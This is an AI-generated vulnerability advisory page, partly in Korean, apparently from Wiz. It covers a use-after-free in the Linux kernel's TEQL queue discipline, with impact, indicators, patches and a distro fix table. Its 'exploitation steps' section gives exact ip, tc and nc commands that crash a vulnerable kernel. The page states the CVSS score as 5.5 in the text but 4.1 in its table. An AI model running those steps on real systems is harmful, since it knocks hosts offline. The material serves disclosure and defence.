CVE-2026-99282: 
Linux Kernel 취약점 분석 및 완화

개요

CVE-2026-99282 is a use-after-free vulnerability in the Linux kernel's TEQL (Trivial Equality) queue discipline (net/sched: sch_teql) that can be triggered by a local user to cause a kernel crash (Denial of Service). The flaw affects Linux kernel versions from 2.6.33 onward, with fixes available in stable commits targeting branches up through 6.18.x and 7.3.x. It was published on November 7, 2026, and carries a CVSS v3.1 base score of 5.5 (Medium) (GitHub Advisory, Red Hat Bugzilla).

기술적 세부사항

The root cause is an expired pointer dereference (CWE-825) in teql_master_xmit(), which incorrectly checks only for NETDEV_TX_OK to determine whether a slave device has consumed a socket buffer (skb). When a VLAN slave's ndo_start_xmit() propagates the return value of dev_queue_xmit() and the lower qdisc drops the packet, it returns NET_XMIT_DROP after the skb has already been freed. The function then attempts to restore skb->dev and call __skb_pull() on the freed skb, resulting in a use-after-free. The fix replaces the NETDEV_TX_OK-only check with dev_xmit_complete(), which correctly identifies all consumed-packet return codes. Reproduction requires CONFIG_NET_SCH_TEQL, CONFIG_VLAN_8021Q, and CONFIG_DUMMY to be enabled, with a specific network topology involving a dummy interface, a VLAN slave with a zero-limit pfifo qdisc, and a TEQL master (GitHub Advisory, Red Hat Bugzilla).

영향

Successful exploitation causes a kernel use-after-free condition that crashes the affected Linux system, resulting in a Denial of Service. The impact is limited to availability — there is no confidentiality or integrity impact identified. Because exploitation requires local access and network configuration privileges, the blast radius is constrained to the affected host and does not directly enable lateral movement or data exfiltration (GitHub Advisory, Red Hat Bugzilla).

악용 가능성

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the disclosure date (GitHub Advisory). Exploitation requires local access with sufficient privileges to configure network interfaces (e.g., CAP_NET_ADMIN), limiting the attack surface. No threat actor attribution, CISA KEV listing, or EPSS score data is currently available for this CVE.

착취 단계

  1. Gain local access: Obtain a local shell on a target Linux system with CAP_NET_ADMIN privileges (or root), running a kernel version ≥ 2.6.33 compiled with CONFIG_NET_SCH_TEQL, CONFIG_VLAN_8021Q, and CONFIG_DUMMY.
  2. Create a dummy interface: ip link add lkrdummy0 type dummy && ip link set lkrdummy0 up
  3. Set a zero-limit pfifo qdisc on the dummy: tc qdisc add dev lkrdummy0 root handle 1: pfifo limit 0 — this ensures all packets are dropped by the lower qdisc.
  4. Create a VLAN interface on the dummy: ip link add link lkrdummy0 name lkrvlan0 type vlan id 37 && ip link set lkrvlan0 up
  5. Attach a TEQL qdisc to the VLAN interface: tc qdisc add dev lkrvlan0 root teql0 && ip link set teql0 up && ip addr add 192.0.2.1/24 dev teql0
  6. Trigger the bug: Send a single UDP packet through the TEQL interface (e.g., echo test | nc -u 192.0.2.2 1234). The VLAN's ndo_start_xmit() returns NET_XMIT_DROP after the skb is freed, causing teql_master_xmit() to dereference the freed skb and crash the kernel (GitHub Advisory, Red Hat Bugzilla).

타협의 징후

  • Logs: Kernel oops or BUG messages in /var/log/kern.log or dmesg referencing teql_master_xmit, use-after-free, or invalid memory access in net/sched/sch_teql.c.
  • Logs: Kernel panic traces involving __skb_pull() or skb->dev manipulation following a NET_XMIT_DROP return.
  • Network: Presence of TEQL (teql0) and VLAN interfaces configured on a dummy interface, especially with a zero-limit pfifo qdisc on the underlying dummy device (tc qdisc show output).
  • Process: Unexpected system reboots or kernel crashes on hosts with CONFIG_NET_SCH_TEQL enabled, particularly after network interface configuration changes by a local user.

완화 및 우회 방법

Apply the upstream kernel patches fixing teql_master_xmit() to use dev_xmit_complete() for packet consumption detection (commits fc55d92ae6a4, 2702ae318630, and 782d6bb8f9b8 for the relevant stable branches). Fixed versions include kernel 6.18.61 and 7.3.2 and later. As a workaround, disable the TEQL scheduler by unloading or blacklisting the sch_teql kernel module (rmmod sch_teql / echo 'blacklist sch_teql' >> /etc/modprobe.d/blacklist.conf) if TEQL is not required in your environment (GitHub Advisory, Red Hat Bugzilla).

커뮤니티 반응

The vulnerability received routine automated coverage from vulnerability tracking services including VulnDB, CVEFeed, and Offseq Radar shortly after disclosure. Red Hat triaged it as medium severity and opened a Bugzilla entry for tracking across affected products. No notable independent researcher commentary or significant media coverage has been identified beyond standard aggregator posts (Red Hat Bugzilla).

추가 리소스

리눅스 배포판 수정 현황

주요 리눅스 배포판과 그 릴리스 전반에 걸친 가용성을 수정하세요.

Debian

수정됨

bookworm

linux

영향을 받음

sid

linux: 7.3.3-1

수정됨

trixie

linux

영향을 받음

Ubuntu

알 수 없음

bionic (esm-infra)

linux

알 수 없음

bionic (fips-updates)

linux-fips

알 수 없음

bionic (fips)

linux-fips

알 수 없음

devel

linux

알 수 없음

focal (esm-infra)

linux

알 수 없음

focal (fips-updates)

linux-fips

알 수 없음

focal (fips)

linux-fips

알 수 없음

jammy

linux

알 수 없음

RHEL / CentOS

영향을 받음

OpenShift

openshift/ose-rhel-coreos-8

영향을 받음

RHEL 8

kernel.src

영향을 받음

RHEL 9

영향 없음

RHEL 10

영향 없음

소스: 이 보고서는 AI를 사용해 생성되었습니다

관련 Linux Kernel 취약점:

CVE ID

심각도

점수

기술

구성 요소 이름

CISA KEV 악용

수정 사항이 있습니다

출판일

CVE-2026-99284MEDIUM4.7
  • Linux Kernel logoLinux Kernel
  • kernel-debug-devel
아니요네Nov 07, 2026
CVE-2026-99282MEDIUM4.1
  • Linux Kernel logoLinux Kernel
  • linux-hwe-7.0
아니요네Nov 07, 2026
CVE-2026-99283LOW3.7
  • Linux Kernel logoLinux Kernel
  • kernel-debug-modules-partner
아니요네Nov 07, 2026
CVE-2026-0004HIGH해당 없음
  • Linux Kernel logoLinux Kernel
  • kernel-uek-debug-modules-usb
아니요네Nov 09, 2026
CVE-2024-21963HIGH해당 없음
  • Linux Kernel logoLinux Kernel
  • kernel-uek64k
아니요네Nov 09, 2026

무료 취약점 평가

클라우드 보안 포세를 벤치마킹하세요

9개 보안 영역에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 파악하세요.

요청 평가

추가 Wiz 리소스

맞춤형 데모를 받아보세요

맞춤형 데모 신청하기

"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
데이비드 에슬릭CISO
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
아담 플레처최고 보안 책임자(CSO)
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."
그렉 포니아토프스키위협 및 취약성 관리 책임자